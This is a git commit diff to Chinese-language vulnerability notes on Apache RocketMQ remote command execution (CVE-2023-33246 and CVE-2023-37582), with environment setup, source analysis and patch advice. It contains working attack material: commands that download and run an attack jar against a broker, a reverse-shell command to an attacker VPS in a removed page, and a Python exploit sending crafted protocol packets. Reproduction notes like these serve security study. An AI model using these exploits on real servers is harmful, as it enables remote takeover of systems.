update CVE-2023-33246

This commit is contained in:
Threekiii committed 2025-02-10 14:01:15 +08:00
1 parent abe96ceb00
commit 4fb127011b
5 files changed
+51 -101

No files matched your search

@@ -1,24 +1,43 @@
# Apache RocketMQ 远程命令执行漏洞 CVE-2023-33246
# Apache RocketMQ Broker 远程命令执行漏洞 CVE-2023-33246
## 漏洞描述
Apache RocketMQ是一个分布式消息平台。
Apache RocketMQ 是一个分布式消息平台。
在其5.1.0版本及以前存在一处命令执行漏洞,攻击者通过向其更新配置相关的功能发送指令即可更新任意配置项,并通过配置项中存在的命令注入功能执行任意命令。
Apache RocketMQ RocketMQ 5.1.0 及以下版本,在一定条件下存在远程命令执行风险。RocketMQ 的 NameServer、Broker、Controller 等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以 RocketMQ 运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。
参考链接:
- https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp
- https://github.com/I5N0rth/CVE-2023-33246
- https://github.com/Le1a/CVE-2023-33246
- https://paper.seebug.org/2081/
- https://xz.aliyun.com/news/12137
- https://xz.aliyun.com/news/12035
## 漏洞影响
```
Apache RocketMQ <= 5.1.0
Apache RocketMQ <= 4.9.5
```
## 网络测绘
```
title="RocketMQ"
```
## 环境搭建
Vulhub 使用 `docker compose` 或 `docker-compose` 启动:
Vulhub 执行如下命令启动一个 RocketMQ broker 5.1.0::
```
docker compose up -d
```
环境启动后,RocketMQ 的 Broker 将会监听在 10911 端口。
## 漏洞复现
使用 `IDEA` 或 `Eclipse` 等 `IDE` 新建一个 `Maven` 项目,导入依赖:
@@ -72,15 +91,35 @@ public class Main {
}
```
在控制台成功输出新的配置后,请等待30秒左右,将会收到反连请求。
在控制台成功输出新的配置后,请等待 30 秒左右,将会收到反连请求。
![image-20230605095851218](images/image-20230605095851218.png)
---
**2025.02.10 更新**
该漏洞存在于 RocketMQ 的 Broker 组件的配置更新功能中。Broker 组件在配置更新接口中缺乏适当的身份认证和输入验证,攻击者可以修改配置值。
这个漏洞之所以特别危险,是因为 RocketMQ 的 filter server 机制。RocketMQ 每 30 秒会执行一次 filter server,执行方式是通过运行 shell 命令。这个命令是通过字符串拼接构造的,其中包含了来自配置中的 `rocketmqHome` 值。由于攻击者可以控制这个配置值,且这个值在构造命令时没有经过适当的过滤,因此导致了命令注入漏洞。
我们可以使用 Vulhub 项目 [rocketmq-attack](https://github.com/vulhub/rocketmq-attack) 来复现漏洞并执行任意命令:
```shell
wget https://github.com/vulhub/rocketmq-attack/releases/download/1.0/rocketmq-attack-1.0-SNAPSHOT.jar
java -jar rocketmq-attack-1.0-SNAPSHOT.jar AttackBroker --target your-ip:10911 --cmd "touch /tmp/awesome_poc"
```
![](images/Apache%20RocketMQ%20Broker%20远程命令执行漏洞%20CVE-2023-33246/image-20250210112146119.png)
等待最多 30 秒后,可见 `touch /tmp/success` 命令已成功执行:
![](images/Apache%20RocketMQ%20Broker%20远程命令执行漏洞%20CVE-2023-33246/image-20250210112249871.png)
## 漏洞分析
PoC 对 `filterServerNums` 属性和 `rocketmqHome` 属性进行了修改。
为什么要修改`filterServerNums`属性:如果配置的`filterServerNums`为0,计算得出的`more`也会是0,因此无法进入`callShell`方法执行命令。
为什么要修改 `filterServerNums` 属性:如果配置的 `filterServerNums` 为 0,计算得出的 `more` 也会是 0,因此无法进入 `callShell` 方法执行命令。
```
public void createFilterServer() {
@@ -109,7 +148,7 @@ public static void callShell(final String shellString, final Logger log) {
}
```
为什么要修改`rocketmqHome`属性:在构建命令的时候,最终会调用`splitShellString`方法按照空格对参数进行分割,所以不可以是`NamesrvAddr`参数,只能是开头的`rocketmqHome`参数,但是由于参数分割规则,所以需要更严格的命令和巧妙的技巧才可以执行。
为什么要修改 `rocketmqHome` 属性:在构建命令的时候,最终会调用 `splitShellString` 方法按照空格对参数进行分割,所以不可以是 `NamesrvAddr` 参数,只能是开头的 `rocketmqHome` 参数,但是由于参数分割规则,所以需要更严格的命令和巧妙的技巧才可以执行。
```
private String buildStartCommand() {
@@ -132,4 +171,8 @@ private String buildStartCommand() {
config);
}
}
```
```
## 漏洞修复
目前官方已发布安全修复更新,受影响用户可以升级到 Apache RocketMQ 5.1.1 或者 4.9.6。 https://rocketmq.apache.org/download/
@@ -1,40 +0,0 @@
# Apache RocketMQ RCE 漏洞 CVE-2023-33246
## 漏洞描述
RocketMQ 是阿里巴巴在2012年开发的分布式消息中间件,专为万亿级超大规模的消息处理而设计,具有高吞吐量、低延迟、海量堆积、顺序收发等特点。
RocketMQ 5.1.0 及以下版本,在一定条件下存在远程命令执行风险。RocketMQ 的 NameServer、Broker、Controller 等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以 RocketMQ 运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。
## 漏洞影响
```
Apache RocketMQ <= 5.1.0
Apache RocketMQ <= 4.9.5
```
## 网络测绘
```
title="RocketMQ"
```
## 漏洞复现
poc:
```
java -jar CVE-2023-33246.jar -ip "target-ip" -cmd "command"
```
反弹 shell:
```
java -jar CVE-2023-33246.jar -ip "target-ip" -cmd "bash -i >& /dev/tcp/your-vps/9999 0>&1"
```
## 修复建议
目前官方已发布安全修复更新,受影响用户可以升级到Apache RocketMQ 5.1.1或者4.9.6。
链接:https://rocketmq.apache.org/download/
@@ -1,53 +0,0 @@
# Apache RocketMQ 远程代码执行漏洞 CVE-2023-37582
## 漏洞描述
此漏洞是由于 CVE-2023-33246 补丁未修复完全,当 RocketMQ 的NameServer 组件暴露在外网,且缺乏有效的身份认证时,攻击者可以利用更新配置功能,以 RocketMQ 运行的系统用户身份执行任意命令。
## 漏洞影响
```
RocketMQ < 4.9.7
RocketMQ < 5.1.2
```
## 网络测绘
```
title="RocketMQ"
```
## 漏洞复现
poc:
```
import socket
import binascii
client = socket.socket()
client.settimeout(5)
client.connect((target_ip,target_port))
## make payload
json = '{"code":318,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body=('Thanks DawnT0wn').encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)
head1 = '00000000'+str(hex(json_lens))[2:]
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
## send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
```
## 漏洞修复
目前官方已发布安全版本,建议受影响用户升级至:
- RocketMQ 5.x >= 5.1.2
- RocketMQ 4.x >= 4.9.7
官方补丁下载地址:https://rocketmq.apache.org/download/,同时建议将 NameServer、Broker 等组件部署在内网,并增加权限认证。